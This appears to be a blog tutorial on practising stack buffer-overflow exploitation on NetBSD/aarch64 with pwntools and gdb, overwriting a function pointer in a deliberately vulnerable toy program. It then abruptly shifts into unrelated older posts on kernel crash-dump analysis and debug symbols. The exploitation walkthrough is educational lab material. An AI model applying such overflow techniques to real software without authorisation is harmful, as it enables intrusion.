For some time, I have ventured into low(er)level hacking & cybersecurity at OverTheWire and pwn.college. Today, a LOT of security & hacking is focussed on Linux/x86, but we all know there is more. More operating systems, and more CPUs. In the area of binary exploitation, I wondered if the basic tools for that work on NetBSD/aarch64 (ARM), and I had a look. Spoiler: they do!

Here's an example of pwning on NetBSD/aarch64 (ARM).

Preparation

Step 0: Install NetBSD/aarch64, e.g. in qemu.

Setup the basics:

su root -c pkg_add -v https://cdn.netbsd.org/pub/pkgsrc/packages/NetBSD/aarch64/11.0_2025Q4/All/pkgin-25.10.0.tgz
su root -c "pkgin install sudo"
sudo pkgin install bash

Install pwntools & friends:

sudo pkgin install python311 # not newer... pwntools...
sudo pkgin install rust
sudo pkgin install cmake pkg-config openssl
sudo pkgin install gmake
sudo pkgin install vim # for xxd, not the shoddy editor that comes with it

When going for pwntools & friends, python 3.11 is the version of choice - newer versions of python are not supported there:

python3.11 -m venv venv-pwn
. ./venv-pwn/bin/activate
pip install "capstone<6" pwntools # same as on macos with angr

Install gef in its usual place, just in case:

sudo mkdir -p /opt/gef
sudo wget https://github.com/hugsy/gef/raw/main/gef.py -O /opt/gef/gef.py

gdb - better colors etc. via .gdbinit (default gdb really looks bad on black terminals):

(venv-pwn) qnetbsd$ cat ~/.gdbinit
#set disassembly-flavor intel # disable on ARM :-)
set follow-fork-mode child

set style address foreground cyan
set style function foreground cyan
set style disassembler immediate foreground cyan

pwn v1

First pwn attempt:

#include <stdio.h>
#include <stdlib.h>

void win(void)
{
	printf("Goodbye, winner.\n");
	exit(0);
}

void vuln(void)
{
	char name[16];

	printf("What is your name? ");
	gets(name);
	printf("Hello %s\n", name);

	return;
}

int main(void)
{
	vuln();
	return 0;
}

Due to differences between x86 and ARM, a simple buffer overflow to overwrite e.g. the return address cannot be done. On ARM, the return address of a function is not stored on the stack but in the X30 register. The crash observed when running this is due to random other values being overwritten.

(venv-pwn) qemubsd$ gcc -ggdb win1.c -o win1
ld: /tmp//ccdWZtt2.o: in function `vuln':
/home/feyrer/tmp/win1.c:15:(.text+0x34): warning: warning: this program uses gets(), which is unsafe.
(venv-pwn) qemubsd$ pwn checksec  win1
[!] Could not populate PLT: Failed to load the Unicorn dynamic library
[*] '/home/feyrer/tmp/win1'
    Arch:       aarch64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX disabled
    PIE:        No PIE (0x200100000)
    RWX:        Has RWX segments
    Stripped:   No
    Debuginfo:  Yes

Not that many security features on by default. What's going on, NetBSD?!
Ignoring this for now, let's look at the assembly code:

(venv-pwn) qnetbsd$ gdb -q -ex 'disas vuln' win1
Reading symbols from win1...
Dump of assembler code for function vuln:
   0x00000002001009f4 <+0>:	stp	x29, x30, [sp, #-32]!
   0x00000002001009f8 <+4>:	mov	x29, sp
   0x00000002001009fc <+8>:	adrp	x0, 0x200100000
   0x0000000200100a00 <+12>:	add	x0, x0, #0xaf8
   0x0000000200100a04 <+16>:	bl	0x200100730 <printf@plt>
   0x0000000200100a08 <+20>:	add	x0, sp, #0x10
   0x0000000200100a0c <+24>:	bl	0x200100790 <gets@plt>
   0x0000000200100a10 <+28>:	add	x0, sp, #0x10
   0x0000000200100a14 <+32>:	mov	x1, x0
   0x0000000200100a18 <+36>:	adrp	x0, 0x200100000
   0x0000000200100a1c <+40>:	add	x0, x0, #0xb10
   0x0000000200100a20 <+44>:	bl	0x200100730 <printf@plt>
   0x0000000200100a24 <+48>:	nop
   0x0000000200100a28 <+52>:	ldp	x29, x30, [sp], #32
   0x0000000200100a2c <+56>:	ret
End of assembler dump.
(gdb)

Note the STP and LDP instructions which save and restore the X29 (frame pointer) and X30 (return address) registers of the calling function (main). By overwriting them, main's "RET" will do funny things. While this can still be exploited, let's make things a bit easier in the next attempt.

pwn v2

Here we add a function pointer "goodbye" that can be overwritten:

#include <stdio.h>
#include <stdlib.h>

void lose(void)
{
	printf("Goodbye, loser.\n");
	exit(0);
}

void win(void)
{
	printf("Goodbye, winner.\n");
	exit(0);
}

void vuln(void)
{
	void (*goodbye)(void) = lose;
	char name[16];

	printf("What is your name? ");
	gets(name);
	printf("Hello %s\n", name);

	goodbye();

	return;
}

int main(void)
{
	vuln();
	return 0;
}

It's pretty obvious what's happening, but for the sake of completeness:

(venv-pwn) qnetbsd$ echo huhu | ./win2
What is your name? Hello huhu
Goodbye, loser.

Let's look at the assembly output again:

(venv-pwn) qnetbsd$ gdb -q -ex 'disas vuln' win2
Reading symbols from win2...
Dump of assembler code for function vuln:
   0x0000000200100a10 <+0>:	stp	x29, x30, [sp, #-48]!
   0x0000000200100a14 <+4>:	mov	x29, sp
   0x0000000200100a18 <+8>:	adrp	x0, 0x200100000
   0x0000000200100a1c <+12>:	add	x0, x0, #0x9d8
   0x0000000200100a20 <+16>:	str	x0, [sp, #40]
   0x0000000200100a24 <+20>:	adrp	x0, 0x200100000
   0x0000000200100a28 <+24>:	add	x0, x0, #0xb38
   0x0000000200100a2c <+28>:	bl	0x200100730 <printf@plt>
   0x0000000200100a30 <+32>:	add	x0, sp, #0x18
   0x0000000200100a34 <+36>:	bl	0x200100790 <gets@plt>
   0x0000000200100a38 <+40>:	add	x0, sp, #0x18
   0x0000000200100a3c <+44>:	mov	x1, x0
   0x0000000200100a40 <+48>:	adrp	x0, 0x200100000
   0x0000000200100a44 <+52>:	add	x0, x0, #0xb50
   0x0000000200100a48 <+56>:	bl	0x200100730 <printf@plt>
=> 0x0000000200100a4c <+60>:	ldr	x0, [sp, #40]               <===
=> 0x0000000200100a50 <+64>:	blr	x0                          <===
   0x0000000200100a54 <+68>:	nop
   0x0000000200100a58 <+72>:	ldp	x29, x30, [sp], #48
   0x0000000200100a5c <+76>:	ret
End of assembler dump.
(gdb)

Note the LDR and BLR instructions at 0x0000000200100a4c - The X0 register is loaded with our function pointer by LDR, and BLR does the actual call.

By overwriting the pointer, we can call another function. Let's use pwn cyclic to find out what's actually in x0 at the time of the BLR call:

(venv-pwn) qnetbsd$ pwn cyclic 100 >c
(venv-pwn) qnetbsd$ gdb  -q -ex 'set pagination off' -ex 'b *0x0000000200100a50' -ex 'run <c' -ex 'i r x0' win
Reading symbols from win...
Breakpoint 1 at 0x200100a50: file win.c, line 25.
Starting program: /home/feyrer/tmp/win <c
What is your name? Hello aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

Breakpoint 1, 0x0000000200100a50 in vuln () at win.c:25
25		goodbye();
x0             0x6161616661616165  7016996786768273765
(gdb) ! pwn cyclic -l 0x6161616661616165
16
(gdb) print win
$1 = {void (void)} 0x2001009f4 <win>

The function pointer is 16 bytes from the start of our name buffer, and we have the address of the win function. So let's construct our input:

(venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | xxd
00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000010: f409 1000 0200 0000                      ........

Looks good, so call it:

(venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | ./win2
What is your name? Hello AAAAAAAAAAAAAAAA
Goodbye, winner.
(venv-pwn) qnetbsd$ uname -a
NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar  4 21:02:00 UTC 2026  mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm

Success

Voila, ARM pwnage on NetBSD! :-)

(venv-pwn) qnetbsd$ echo huhu | ./win2
What is your name? Hello huhu
Goodbye, loser.
(venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | ./win2
What is your name? Hello AAAAAAAAAAAAAAAA�
Goodbye, winner.
(venv-pwn) qnetbsd$ uname -a
NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar  4 21:02:00 UTC 2026  mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm 

I'm positively impressed by the whole toolchain working as expected, given that e.g. pwntools starts compiling rust when installing. Well done, NetBSD!

On security & compiler flags

(venv-pwn) qemubsd$ gcc -ggdb -fstack-protector-all -fpie -pie -Wl,-z,relro,-z,now win1.c -o win1-prot
ld: /tmp//ccE3ncle.o: in function `vuln':
/home/feyrer/tmp/win1.c:15:(.text+0x64): warning: warning: this program uses gets(), which is unsafe.
(venv-pwn) qemubsd$ pwn checksec win1-prot
[!] Could not populate PLT: Failed to load the Unicorn dynamic library
[*] '/home/feyrer/tmp/win1-prot'
    Arch:       aarch64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX disabled
    PIE:        PIE enabled
    RWX:        Has RWX segments
    Stripped:   No
    Debuginfo:  Yes

% ls -l /var/crash/
total 3183838
-rw-r--r--  1 root  wheel          3 Nov  2 02:09 bounds
-rw-r--r--  1 root  wheel          5 Jun 30  2004 minfree
...
-rw-------  1 root  wheel  181265401 Nov  2 02:11 netbsd.26.core.gz
-rw-------  1 root  wheel    2162696 Nov  2 02:11 netbsd.26.gz 

The actual crashdump consists of two gzipped files - the actual memory dump "netbsd.XX.core.gz" and a copy of the running kernel "netbsd.xx.gz". After uncompressing the files can be used for looking at the system at the point of it's panic:

# gunzip netbsd.26*.gz
#

The crashdump can be read by programs that use libkvm to read through the crashdump's kernel memory, e.g. gdb(1), dmesg(8), ps(1), fstat(8), ipcs(1), netstat(8), nfsstat(8), pmap(1), w(1), pstat(8), vmstat(8) etc., using the -M and -N switches.

Some examples:

• To show the system's message buffer at the time of the crash:

  % dmesg -M netbsd.26.core -N netbsd.26
  ...
  unmounting /home (/dev/wd1e)...
  unmounting /tmp (mfs:371)...warning: mfs read during shutdown
  dev = 0xff00, block = 10496, fs = /tmp
  panic: blkfree: freeing free block
  Begin traceback...
  uvm_fault(0xcbfd07f0, 0x2000, 1) -> 0xe
  fatal page fault in supervisor mode
  trap type 6 code 0 eip c0305083 cs 8 eflags 10246 cr2 2900 ilevel 0
  panic: trap
  Faulted in mid-traceback; aborting...
  dumping to dev 0,1 offset 2024327
  dump 511 510 509 508 507 506 505 504 503 502 501 500 499 498 497 496
  495 494 493 ...

  Apparently the system tried to free a block that was already fred here when umounting /tmp.

• Display virtual memory parameters:

  % vmstat -M netbsd.26.core -N netbsd.26 -s
       4096 bytes per page
          8 page colors
     127888 pages managed
            ...  

• Attach the GNU debugger gdb(1) to the system crash dumpQ, to poke around deeply:

  % gdb netbsd.26
  ...
  (gdb) target kcore netbsd.26.core
  panic: blkfree: freeing free block
  #0  0x0ac04000 in ?? ()
  (gdb) bt
  #0  0x0ac04000 in ?? ()
  #1  0xc03084b5 in cpu_reboot ()
  #2  0xc02a57aa in panic ()
  #3  0xc0313127 in trap ()
  #4  0xc0102dfd in calltrap ()
  #5  0xc0182544 in db_get_value ()
  #6  0xc03058f1 in db_stack_trace_print ()
  #7  0xc02a577c in panic ()
  #8  0xc0205db7 in ffs_blkfree ()
  #9  0xc020b8d5 in ffs_indirtrunc ()
  ...  

• Unfortunately there are a number of programs that I didn't get to work with my crashdump, but that may be due to its point after/during system shutdown, e.g. ps(1) didn't work.

Update: Apparently 'target kcore' was renamed to 'target kvm' in gdb6, see this posting.

[Tags: debugging, dmesg, gdb]

Luke Mewburn has sent a proposal to enable this in NetBSD, and he has committed code now that allows setting "MKDEBUG=yes" to put seperate debugging symbols into /usr/libdata/debug.

This is currently not enabled by default, but maybe someone finds this useful, wants to test it and give some feedback.

[Tags: debugging, gdb]